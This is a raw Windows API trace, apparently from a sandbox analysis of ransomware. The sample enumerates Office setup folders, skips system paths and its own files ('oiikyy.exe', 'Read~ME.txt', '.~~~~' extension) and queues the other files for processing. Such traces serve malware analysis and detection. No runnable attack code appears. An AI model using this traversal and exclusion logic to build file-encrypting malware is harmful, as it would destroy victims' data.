	[0075.513] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.513] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.513] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.513] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.513] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.513] GetCurrentThreadId () returned 0x618
	[0075.513] RtlWakeConditionVariable () returned 0x365f48
	[0075.513] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.513] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.514] GetCurrentThreadId () returned 0x618
	[0075.514] RtlWakeConditionVariable () returned 0x365f48
	[0075.515] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x2, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="Windows") returned -1
	[0075.515] lstrcmpW (lpString1="ODeploy.exe", lpString2="oiikyy.exe") returned -1
	[0075.515] StrStrW (lpFirst="ODeploy.exe", lpSrch=".~~~~") returned 0x0
	[0075.515] lstrcmpW (lpString1="ODeploy.exe", lpString2="Read~ME.txt") returned -1
	[0075.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0075.516] GetCurrentThreadId () returned 0x618
	[0075.516] RtlWakeConditionVariable () returned 0x365f48
	[0075.516] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1
	[0075.516] lstrcmpiW (lpString1="Office.en-us", lpString2="Windows") returned -1
	[0075.516] lstrcmpW (lpString1="Office.en-us", lpString2=".") returned 1
	[0075.516] lstrcmpW (lpString1="Office.en-us", lpString2="..") returned 1
	[0075.516] lstrcmpW (lpString1="Office.en-us", lpString2="AppData") returned 1
	[0075.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us", lpSrch="AppData") returned 0x0
	[0075.516] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.516] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us", lpString2="C:\\Windows") returned -1
	[0075.516] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.516] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.519] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.519] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.519] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.519] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.519] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.519] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.520] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.520] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.520] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.520] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.520] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.520] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.520] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1
	[0075.520] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="Windows") returned -1
	[0075.520] lstrcmpW (lpString1="BRANDING.DLL", lpString2="oiikyy.exe") returned -1
	[0075.520] StrStrW (lpFirst="BRANDING.DLL", lpSrch=".~~~~") returned 0x0
	[0075.520] lstrcmpW (lpString1="BRANDING.DLL", lpString2="Read~ME.txt") returned -1
	[0075.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.520] GetCurrentThreadId () returned 0x618
	[0075.520] RtlWakeConditionVariable () returned 0x365f48
	[0075.520] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1
	[0075.520] lstrcmpiW (lpString1="BRANDING.XML", lpString2="Windows") returned -1
	[0075.520] lstrcmpW (lpString1="BRANDING.XML", lpString2="oiikyy.exe") returned -1
	[0075.520] StrStrW (lpFirst="BRANDING.XML", lpSrch=".~~~~") returned 0x0
	[0075.520] lstrcmpW (lpString1="BRANDING.XML", lpString2="Read~ME.txt") returned -1
	[0075.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.521] GetCurrentThreadId () returned 0x618
	[0075.521] RtlWakeConditionVariable () returned 0x365f48
	[0075.521] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1
	[0075.521] lstrcmpiW (lpString1="OCT.CHM", lpString2="Windows") returned -1
	[0075.521] lstrcmpW (lpString1="OCT.CHM", lpString2="oiikyy.exe") returned -1
	[0075.521] StrStrW (lpFirst="OCT.CHM", lpSrch=".~~~~") returned 0x0
	[0075.521] lstrcmpW (lpString1="OCT.CHM", lpString2="Read~ME.txt") returned -1
	[0075.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.521] GetCurrentThreadId () returned 0x618
	[0075.521] RtlWakeConditionVariable () returned 0x365f48
	[0075.521] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0075.521] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="Windows") returned -1
	[0075.521] lstrcmpW (lpString1="OfficeMUI.XML", lpString2="oiikyy.exe") returned -1
	[0075.521] StrStrW (lpFirst="OfficeMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.521] lstrcmpW (lpString1="OfficeMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.521] GetCurrentThreadId () returned 0x618
	[0075.521] RtlWakeConditionVariable () returned 0x365f48
	[0075.521] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0075.521] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="Windows") returned -1
	[0075.522] lstrcmpW (lpString1="OfficeMUISet.XML", lpString2="oiikyy.exe") returned -1
	[0075.522] StrStrW (lpFirst="OfficeMUISet.XML", lpSrch=".~~~~") returned 0x0
	[0075.522] lstrcmpW (lpString1="OfficeMUISet.XML", lpString2="Read~ME.txt") returned -1
	[0075.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d328
	[0075.522] GetCurrentThreadId () returned 0x618
	[0075.522] RtlWakeConditionVariable () returned 0x365f48
	[0075.522] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1
	[0075.522] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="Windows") returned -1
	[0075.522] lstrcmpW (lpString1="OSETUPUI.DLL", lpString2="oiikyy.exe") returned 1
	[0075.522] StrStrW (lpFirst="OSETUPUI.DLL", lpSrch=".~~~~") returned 0x0
	[0075.522] lstrcmpW (lpString1="OSETUPUI.DLL", lpString2="Read~ME.txt") returned -1
	[0075.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.522] GetCurrentThreadId () returned 0x618
	[0075.522] RtlWakeConditionVariable () returned 0x365f48
	[0075.522] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1
	[0075.522] lstrcmpiW (lpString1="promointl.dll", lpString2="Windows") returned -1
	[0075.522] lstrcmpW (lpString1="promointl.dll", lpString2="oiikyy.exe") returned 1
	[0075.522] StrStrW (lpFirst="promointl.dll", lpSrch=".~~~~") returned 0x0
	[0075.522] lstrcmpW (lpString1="promointl.dll", lpString2="Read~ME.txt") returned -1
	[0075.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.522] GetCurrentThreadId () returned 0x618
	[0075.523] RtlWakeConditionVariable () returned 0x365f48
	[0075.523] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1
	[0075.523] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="Windows") returned -1
	[0075.523] lstrcmpW (lpString1="PSCONFIG.CHM", lpString2="oiikyy.exe") returned 1
	[0075.523] StrStrW (lpFirst="PSCONFIG.CHM", lpSrch=".~~~~") returned 0x0
	[0075.523] lstrcmpW (lpString1="PSCONFIG.CHM", lpString2="Read~ME.txt") returned -1
	[0075.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.523] GetCurrentThreadId () returned 0x618
	[0075.523] RtlWakeConditionVariable () returned 0x365f48
	[0075.523] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1
	[0075.523] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="Windows") returned -1
	[0075.523] lstrcmpW (lpString1="PSS10O.CHM", lpString2="oiikyy.exe") returned 1
	[0075.523] StrStrW (lpFirst="PSS10O.CHM", lpSrch=".~~~~") returned 0x0
	[0075.523] lstrcmpW (lpString1="PSS10O.CHM", lpString2="Read~ME.txt") returned -1
	[0075.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.523] GetCurrentThreadId () returned 0x618
	[0075.523] RtlWakeConditionVariable () returned 0x365f48
	[0075.523] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1
	[0075.523] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="Windows") returned -1
	[0075.523] lstrcmpW (lpString1="PSS10R.CHM", lpString2="oiikyy.exe") returned 1
	[0075.523] StrStrW (lpFirst="PSS10R.CHM", lpSrch=".~~~~") returned 0x0
	[0075.523] lstrcmpW (lpString1="PSS10R.CHM", lpString2="Read~ME.txt") returned -1
	[0075.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.524] GetCurrentThreadId () returned 0x618
	[0075.524] RtlWakeConditionVariable () returned 0x365f48
	[0075.524] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1
	[0075.524] lstrcmpiW (lpString1="SETUP.CHM", lpString2="Windows") returned -1
	[0075.524] lstrcmpW (lpString1="SETUP.CHM", lpString2="oiikyy.exe") returned 1
	[0075.524] StrStrW (lpFirst="SETUP.CHM", lpSrch=".~~~~") returned 0x0
	[0075.524] lstrcmpW (lpString1="SETUP.CHM", lpString2="Read~ME.txt") returned 1
	[0075.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.524] GetCurrentThreadId () returned 0x618
	[0075.524] RtlWakeConditionVariable () returned 0x365f48
	[0075.524] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.524] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.524] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.524] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.524] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.524] GetCurrentThreadId () returned 0x618
	[0075.524] RtlWakeConditionVariable () returned 0x365f48
	[0075.524] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.524] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.526] GetCurrentThreadId () returned 0x618
	[0075.526] RtlWakeConditionVariable () returned 0x365f48
	[0075.526] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1
	[0075.526] lstrcmpiW (lpString1="Office32.en-us", lpString2="Windows") returned -1
	[0075.526] lstrcmpW (lpString1="Office32.en-us", lpString2=".") returned 1
	[0075.526] lstrcmpW (lpString1="Office32.en-us", lpString2="..") returned 1
	[0075.526] lstrcmpW (lpString1="Office32.en-us", lpString2="AppData") returned 1
	[0075.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us", lpSrch="AppData") returned 0x0
	[0075.526] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.526] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us", lpString2="C:\\Windows") returned -1
	[0075.526] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.526] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.528] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.528] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.528] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.528] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.528] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.706] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.706] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.706] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.706] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.706] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.706] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.706] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.706] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0075.706] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="Windows") returned -1
	[0075.706] lstrcmpW (lpString1="Office32MUI.XML", lpString2="oiikyy.exe") returned -1
	[0075.706] StrStrW (lpFirst="Office32MUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.706] lstrcmpW (lpString1="Office32MUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x27fad68
	[0075.706] GetCurrentThreadId () returned 0x618
	[0075.706] RtlWakeConditionVariable () returned 0x365f48
	[0075.706] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.706] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.706] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.706] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.706] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.706] GetCurrentThreadId () returned 0x618
	[0075.707] RtlWakeConditionVariable () returned 0x365f48
